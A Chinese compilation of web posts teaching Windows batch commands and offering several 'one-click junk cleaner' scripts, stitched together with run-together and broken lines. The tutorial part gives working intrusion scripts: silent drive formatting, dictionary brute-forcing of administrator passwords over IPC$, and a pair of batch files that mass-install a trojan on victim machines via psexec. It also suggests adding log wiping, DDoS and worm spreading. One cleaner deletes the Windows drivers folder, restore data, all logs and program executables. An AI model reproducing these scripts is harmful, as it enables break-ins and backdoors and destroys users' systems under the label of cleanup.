bat命令大全 清理系统垃圾更简单
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器A中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器A时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有.bat 或.cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARA TE 在分开的空间内开始16 位Windows 程序
HIGH 在HIGH 优先级类别开始应用程序
REALTIME 在REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是32-位GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:
1、if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable
而不要用%variable。变量名称是区分大小写的,所以%i 不同于%I
如果命令扩展名被启用,下列额外的FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以[drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在/R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列1 2 3 4 5,(5,-1,1) 将产生
序列(5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选"options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的for 本身。这会导致额外变量名称的
格式为一个范围。通过nth 符号指定m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给for 程序体;用逗号和/或
空格定界符号。请注意,这个for 程序体的语句引用%i 来
取得第二个符号,引用%j 来取得第三个符号,引用%k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在for 语句中得到说明,%j 和%k 是通过
tokens= 选项专门得到说明的。您可以通过tokens= 一行
指定最多26 个符号,只要不试图说明一个高于字母z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有52 个以上都在使用中。
您还可以在相邻字符串上使用FOR /F 分析逻辑;方法是,
用单引号将括号之间的filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用FOR /F 命令来分析命令的输出。方法是,将
括号之间的filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充%I
%~fI - 将%I 扩充到一个完全合格的路径名
%~dI - 仅将%I 扩充到一个驱动器号
%~pI - 仅将%I 扩充到一个路径
%~nI - 仅将%I 扩充到一个文件名
%~xI - 仅将%I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将%I 扩充到文件的文件属性
%~tI - 将%I 扩充到文件的日期/时间
%~zI - 将%I 扩充到文件的大小
%~$PA TH:I - 查找列在路径环境变量的目录,并将%I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将%I 扩充到一个驱动器号和路径
%~nxI - 仅将%I 扩充到一个文件名和扩展名
%~fsI - 仅将%I 扩充到一个带有短名的完整路径名
%~dp$PA TH:i - 查找列在路径环境变量的目录,并将%I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将%I 扩充到类似输出线路的DIR
在以上例子中,%I 和PA TH 可用其他有效数值代替。%~ 语法
用一个有效的FOR 变量名终止。选取类似%I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用FOR 命令时,指定变量使用%%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt 里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe 需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
会了这些,你就可以写一个很简单的清理系统垃圾的命令
附上我的加强版的清理系统垃圾文件的命令。。。。。。。。。。
@echo off
color 2e
Title ◆快速清理系统垃圾文件◆
echo.
ECHO 正在检查cookies、历史记录等目录位置(当前用户)......
reg query "HKCU\software\Microsoft\Windows\CurrentV ersion\Explorer\Shell Folders" /v Cache>%temp%\cleantmp.txt
reg query "HKCU\software\Microsoft\Windows\CurrentV ersion\Explorer\Shell Folders" /v Cookies>>%temp%\cleantmp.txt
reg query "HKCU\software\Microsoft\Windows\CurrentV ersion\Explorer\Shell Folders" /v History>>%temp%\cleantmp.txt
reg query "HKCU\software\Microsoft\Windows\CurrentV ersion\Explorer\Shell Folders" /v NetHood>>%temp%\cleantmp.txt
reg query "HKCU\software\Microsoft\Windows\CurrentV ersion\Explorer\Shell Folders" /v Recent>>%temp%\cleantmp.txt
ECHO 正在清理Cookies、IE缓存、历史记录等(当前用户)......
for /f "tokens=3*" %%a in (%temp%\cleantmp.txt) do (
for /d %%i in ("%%a %%b\*.*") do rd /s /q "%%i" >nul 2>nul
del /a /f /s /q "%%a %%b\*.*" >nul 2>nul
)
:: 清理运行栏中的历史纪录,在注销或者重启后将生效......
reg delete "HKCU\Software\Microsoft\Windows\CurrentV ersion\Explorer\RunMRU" /va /f ECHO 正在清理系统升级补丁留下来的反安装目录和备份文件......
rd /s /q "%windir%\$hf_mig$\" >nul 2>nul
dir "%SystemRoot%\$*$" /ad/b >%SystemRoot%\temp\updatetmp.txt
for /f %%a in (%SystemRoot%\temp\updatetmp.txt) do rd /s /q "%SystemRoot%\%%a" >nul 2>nul
dir "%SystemRoot%\SoftwareDistribution\Download\*" /ad/b >%SystemRoot%\temp\updatetmp1.txt
for /f %%a in (%SystemRoot%\temp\updatetmp1.txt) do (
rd /s /q "%SystemRoot%\SoftwareDistribution\Download\%%a" >nul 2>nul
del /a /f /s /q "%SystemRoot%\SoftwareDistribution\Download\*" >nul 2>nul
)
taskkill /f /im "wuauclt.exe" /t
del /a /f /s /q "%SystemRoot%\SoftwareDistribution\DataStore\DataStore.edb" >nul 2>nul ECHO 正在清理系统临时文件和系统目录中的垃圾文件........
del /a /f /s /q "%userprofile%\Locals~1\Tempor~1\*" >nul 2>nul
dir "%userprofile%\Locals~1\Temp\*" /ad/b >%SystemRoot%\temp\usertmp.txt
for /f %%a in (%SystemRoot%\temp\usertmp.txt) do rd /s /q "%userprofile%\Locals~1\Temp\%%a" >nul 2>nul
del /a /f /s /q "%userprofile%\Locals~1\Temp\*" >nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /a /f /s /q "%userprofile%\recent\*" >nul 2>nul
del /a /f /s /q "%userprofile%\cookies\*" >nul 2>nul
del /a /f /s /q "%HomePath%\..\IconCache.db" >nul 2>nul
del /a /f /s /q "%windir%\temp\*" >nul 2>nul
del /a /f /s /q "%windir%\prefetch\*" >nul 2>nul
del /a /f /s /q "%SystemRoot%\*.log" >nul 2>nul
del /a /f /q "%SystemRoot%\*.tmp" >nul 2>nul
ECHO 正在清理Realplayer垃圾项......
del /a /f /s /q "%appdata%\Real\RealPlayer\History\*" >nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
del /f /s /q %windir%\Magicset\*.reg
del /f /s /q %windir%\KB*.log
rd /s /q %windir%\drivers
rd /s /q "%temp%\"
rd /s /q %windir%\$hf_mig$
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
attrib -s -h -r "C:\Program Files\Common Files\System\9DOA0215.DLL"
del /f /q "C:\Program Files\Common Files\System\9DOA0215.DLL"
attrib -s -h -r "C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll"
del /f /q "C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll"
attrib -s -h -r %windir%\system32\drivers\abhcop.sys
del /f /q %windir%\system32\drivers\abhcop.sys
attrib -s -h -r %windir%\system32\drivers\hcalway.sys
del /f /q %windir%\system32\drivers\hcalway.sys
attrib -s -h -r %windir%\system32\drivers\sptd.sys
del /f /q %windir%\system32\drivers\sptd.sys
del /f /s /q "%windir%\system32\THIRDA\*.*"
rd /s /q %windir%\system32\THIRDA
rd /s /q C:\found.000
rd /s /q C:\found.001
rd /s /q C:\found.002
rd /s /q C:\found.003
rd /s /q C:\found.004
rd /s /q C:\found.005
rd /s /q C:\found.006
rd /s /q C:\found.007
rd /s /q C:\found.008
rd /s /q C:\vod_cache_data\
rd /s /q D:\found.000
rd /s /q D:\found.001
rd /s /q D:\found.002
rd /s /q D:\found.003
rd /s /q D:\found.004
rd /s /q D:\found.005
rd /s /q D:\found.006
rd /s /q D:\found.007
rd /s /q D:\vod_cache_data\
rd /s /q E:\found.000
rd /s /q E:\found.001
rd /s /q E:\found.002
rd /s /q E:\found.003
rd /s /q E:\found.004
rd /s /q E:\found.005
rd /s /q E:\vod_cache_data\
rd /s /q F:\found.000
rd /s /q F:\found.001
rd /s /q F:\found.002
rd /s /q F:\found.003
rd /s /q F:\found.004
rd /s /q F:\found.005
rd /s /q F:\vod_cache_data\ attrib -a -h -s -r C:\autorun.exe attrib -a -h -s -r C:\autorun.cmd attrib -a -h -s -r C:\autorun.inf attrib -a -h -s -r C:\auto.exe attrib -a -h -s -r C:\pagefile.lnk del /f /q C:\autorun.exe
del /f /q C:\autorun.cmd
del /f /q C:\autorun.inf
del /f /q C:\auto.exe
del /f /q C:\pagefile.lnk
attrib -a -h -s -r D:\autorun.exe attrib -a -h -s -r D:\autorun.cmd attrib -a -h -s -r D:\autorun.inf attrib -a -h -s -r D:\auto.exe attrib -a -h -s -r D:\pagefile.lnk del /f /q D:\autorun.exe
del /f /q D:\autorun.cmd
del /f /q D:\autorun.inf
del /f /q D:\auto.exe
del /f /q D:\pagefile.lnk
attrib -a -h -s -r E:\autorun.exe
attrib -a -h -s -r E:\autorun.cmd
attrib -a -h -s -r E:\autorun.inf
attrib -a -h -s -r E:\auto.exe
attrib -a -h -s -r E:\pagefile.lnk
del /f /q E:\autorun.exe
del /f /q E:\autorun.cmd
del /f /q E:\autorun.inf
del /f /q E:\auto.exe
del /f /q E:\pagefile.lnk
attrib -a -h -s -r F:\autorun.exe
attrib -a -h -s -r F:\autorun.cmd
attrib -a -h -s -r F:\autorun.inf
attrib -a -h -s -r F:\auto.exe
attrib -a -h -s -r F:\pagefile.lnk
del /f /q F:\autorun.exe
del /f /q F:\autorun.cmd
del /f /q F:\autorun.inf
del /f /q F:\auto.exe
del /f /q F:\pagefile.lnk
attrib -a -h -s -r C:\progra~1\*.exe
del /f /q C:\progra~1\*.exe
attrib -a -h -s -r C:\progra~1\*.inf
del /f /q C:\progra~1\*.inf
attrib -a -h -s -r C:\progra~1\Common~1\*.exe
del /f /q C:\progra~1\Common~1\*.exe
attrib -a -h -s -r C:\progra~1\Common~1\system\*.exe
del /f /q C:\progra~1\Common~1\system\*.exe
attrib -a -h -s -r "C:\System V olume Information\*.*"
attrib -a -h -s -r "D:\System V olume Information\*.*"
attrib -a -h -s -r "E:\System V olume Information\*.*"
attrib -a -h -s -r "F:\System V olume Information\*.*"
del /f /s /q "C:\System V olume Information\*.*"
del /f /s /q "D:\System V olume Information\*.*"
del /f /s /q "E:\System V olume Information\*.*"
del /f /s /q "F:\System V olume Information\*.*"
cls
@echo .
@echo ………………垃圾文件清理已经完成!……………………@echo . ……………………任意键退出!……………………
@pause
@exit
win7最新版bat垃圾清理
@echo off color 0a title 清理win7系统垃圾--- echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ echo.★☆☆★ echo.★☆☆★ echo.★☆☆★ echo ★☆正在清除系统垃圾文件,请稍等..... ☆★ echo.★☆☆★ echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ echo ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★ echo 清理垃圾文件,速度由电脑文件大小而定。在没看到结尾信息时 echo 请勿关闭本窗口。 echo 正在清除系统垃圾文件,请稍后..... color 0a echo 删除补丁备份目录 RD %windir%\$hf_mig$ /Q /S echo 把补丁卸载文件夹的名字保存成2950800.txt dir %windir%\$NtUninstall* /a:d /b >%windir%\2950800.txt echo 从2950800.txt中读取文件夹列表并且删除文件夹 for /f %%i in (%windir%\2950800.txt) do rd %windir%\%%i /s /q echo 删除2950800.txt del %windir%\2950800.txt /f /q echo 删除补丁安装记录内容(下面的del /f /s /q %systemdrive%\*.log已经包含删除此类文件) del %windir%\KB*.log /f /q echo 删除系统盘目录下临时文件 del /f /s /q %systemdrive%\*.tmp echo 删除系统盘目录下临时文件 del /f /s /q %systemdrive%\*._mp echo 删除系统盘目录下日志文件 del /f /s /q %systemdrive%\*.log echo 删除系统盘目录下GID文件(属于临时文件,具体作用不详) del /f /s /q %systemdrive%\*.gid echo 删除系统目录下scandisk(磁盘扫描)留下的无用文件 del /f /s /q %systemdrive%\*.chk echo 删除系统目录下old文件 del /f /s /q %systemdrive%\*.old echo 删除回收站的无用文件 del /f /s /q %systemdrive%\recycled\*.* echo 删除系统目录下备份文件 del /f /s /q %windir%\*.bak
自制一键清理系统垃圾bat
自制一键清理系统垃圾bat 大多数人都知道随着电脑使用时间边长,电脑中积累的垃圾文件会越来越多。通过安全软件来清除电脑中的垃圾是不错的方法,但是对于部分喜欢“轻量”应用的用户来说能够轻松一键的清理电脑垃圾是最理想的操作。 在Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp、*._mp)、临时帮助文件(*.gid)、磁盘检查文件(*.chk)、临时备份文件(如:*.old、*.bak)以及其他临时文件。特别是如果一段时间不清理IE的临时文件夹“TemporaryInternetFiles”,其中的缓存文件有时会占用上百MB的磁盘空间。这些LJ文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行慢如蜗牛。这点相信你肯定忍受不了吧!所以应及时清理系统的LJ文件的淤塞,保持系统的“苗条”身材,轻松流畅上网!朋友来吧,现在就让我们一起来快速清除系统垃圾吧!!下面是步骤很简单就两步! 在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去,点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统LJ.bat”,就完成了。记住后缀名一定要是.bat,ok!你的垃圾清除器就这样制作成功了!双击它就能很快地清理垃圾文件,大约一分钟不到。 复制下面代码粘贴到笔记本上: @echo offecho 《清理垃圾文件》 echo 正在清理系统垃圾文件,请稍等……echo 删除文件或目 录:%systemdrive%\*.tmpdel /f /s /q “%systemdrive%\*.tmp” echo 删除文件或目录:%systemdrive%\*._mpdel /f /s /q “%systemdrive%\*._mp” echo 删除文件或目录:%systemdrive%\*.giddel /f /s /q “%systemdrive%\*.gid” echo 删除文件或目录:%systemdrive%\*.chkdel /f /s /q “%systemdrive%\*.chk” echo 删除文件或目录:%systemdrive%\*.olddel /f /s /q “%systemdrive%\*.old” echo 删除文件或目录:%systemdrive%\recycled\*.*del /f /s /q “%systemdrive%\recycled\*.*” echo 删除文件或目录:%windir%\*.bakdel /f /s /q “%windir%\*.bak” echo 删除文件或目录:%windir%\prefetch\*.*del /f /s /q “%windir%\prefetch\*.*” echo 删除文件或目录:%windir%\temprd /s /q “%windir%\temp” & md “%windir%\temp” echo 删除文件或目录:%userprofile%\cookies\*.*del /f /q “%userprofile%\cookies\*.*”
清理系统垃圾的命令
教你如何自己做清除电脑系统垃圾软件在电脑里点击开始:程序-附件-记事本;请从下面开始复制 @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" echo 清除系统LJ完成! echo. & pause 到上面停,文件名为(清除系统LJ.bat)必须是bat后缀名另存为桌面
一键垃圾清理完整代码-超强悍代码
@echo off title @echo off color 2 echo. echo. echo 请不要关闭此窗口! echo. echo 开始清理垃圾文件,请稍等...... echo. echo 正在清理Thumbs.db数据库文件,请稍等...... del c:\Thumbs.db /f/s/q/a del d:\Thumbs.db /f/s/q/a del e:\Thumbs.db /f/s/q/a del f:\Thumbs.db /f/s/q/a del g:\Thumbs.db /f/s/q/a del h:\Thumbs.db /f/s/q/a del i:\Thumbs.db /f/s/q/a echo. echo 清理Thumbs.db数据库完成! echo. echo 正在清理系统分区根目录下tmp文件,请稍等...... del /f /s /q %systemdrive%\*.tmp echo. echo 清理系统分区根目录下tmp文件完成! echo. echo 正在清理系统分区根目录下_mp文件,请稍等...... del /f /s /q %systemdrive%\*._mp echo. echo 清理系统分区根目录下_mp文件完成! echo. echo 正在清理系统分区根目录下日志文件,请稍等...... del /f /s /q %systemdrive%\*.log echo. echo 清理系统分区根目录下日志文件完成! echo. echo 正在清理系统分区根目录下gid文件,请稍等...... del /f /s /q %systemdrive%\*.gid echo. echo 清理系统分区根目录下gid文件完成! echo. echo 正在清理系统分区根目录下chk文件,请稍等...... del /f /s /q %systemdrive%\*.chk echo. echo 清理系统分区根目录下chk文件完成!
自动清除电脑垃圾及删除windows默认共享盘符的批处理bat
自动清除电脑垃圾及删除windows默认共享盘符的批处理bat by:zuifeng258 Windows在默认情况下几个盘多是共享的,它们是隐藏的危险。 在dos下用命令“net share”可以查看。。。 不能截图,就只能打打字了 复制代码代码如下: @echo off echo 正在自动删除admin$管理共享和ipc$管道共享, net share admin$ /del net share IPC$ /del net share C$ /del net share D$ /del net share E$ /del net share F$ /del @echo off并不是DOS程序中的, 而是DOS批处理中的。 当年的DOS,所有操作都用键盘命令来完成, 当你每次都要输入相同的命令时, 可以把这么多命令存为一个批处理。 上面那段是默认admin$管理共享和ipc$管道共享的命令 如果那没有这么多盘符,可以照上面的“net shere *$” /del ' *是你的盘符号。进行增减 复制代码代码如下: @echo off echo 这是正在检查cookies、历史纪录等目录位置(当前用户)…… reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Cache>%temp%\cleantmp.txt reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Cookies>>%temp%\cleantmp.txt reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v History>>%temp%\cleantmp.txt reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v
清理系统垃圾及优化网络 批处理命令代码
把下面代码复制到记事本中,然后改后缀为…….dat 如 然后打开点能运行 运行效果如图 下面代码一直到最后 @echo off cls rem rem Contact: [url=] [/url] rem rem This program is free software; you can redistribute it and/or modify it under rem the terms of the GNU General Public License as published by the Free Software Foundation; rem either version 2 of the License, or (at your option) any later version. rem This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; rem without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. rem See the GNU General Public License for more details. rem rem Y ou should have received a copy of the GNU General Public License along with this
program; rem if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, rem MA 02111-1307, USA. echo. REM Tested on ... WinXP_SP2 REM Always basic XP64 Support REM Modifications to BITS service (cause of v5 WindowsUpdate) - #discharged# REM Additional notices corresponding to DHCP issue REM V ariables problems during RESTORE_DEFAULT usage fixed REM SMBDEVICEENABLED Restore Bug fixed REM Mod_history-09-27-2005**11-08-2005**11-29-2005**12-07-2005**12-18-2005 setlocal REM *** INIT_V ARS *** set CHK_SVC=YES set XPSP2=FALSE set SERVER=FALSE set NT_SERVER_CHK=TRUE :START echo "svc2kXp.cmd" 正在检测您的电脑,稍后进行优化! echo ================================================================ set find=%SystemRoot%\System32\find.exe set regedit=%SystemRoot%\regedit.exe if not exist "%find%" goto :NOFIND if not exist "%regedit%" goto :NOREGEDIT if not "%1" == "%*" goto :SYNTAX if /I "%1"=="/?" goto :HELP if /I "%1"=="/help" goto :HELP if /I "%1"=="-h" goto :HELP if /I "%1"=="--help" goto :HELP if /I "%1"=="-?" goto :HELP if /I "%1"=="--?" goto :HELP if /I "%1"=="/fix" goto :FIX goto :VERSION :SYNTAX echo. echo. echo !!Syntax error!! echo ________________ echo Es kann nur ein oder kein Parameter angegeben werden. echo. echo Only one or no parameter allowed. goto :QUIT :HELP echo.
一键清理系统垃圾,清理系统垃圾bat
一键清理系统垃圾 制作bat文件达到一键清理系统垃圾的目的 步骤: 1、新建一个记事本; 2、将以下红线中间部分代码复制进去; --------------------------------------------------------------------------- @echo off echo LYG提示:正在清理系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" --------------------------------------------------------------------------- 3、将该记事本文件另存为所有文件、名称填写“清理垃圾.bat”。看图 4、双击运行“清理垃圾.bat”就能开始自动清理系统垃圾了。全自动的,清理完毕会自动退出。
一键清理系统垃圾[1].bat__超级一键删除垃圾.bat__高郊级一键清理C盘垃圾.bat
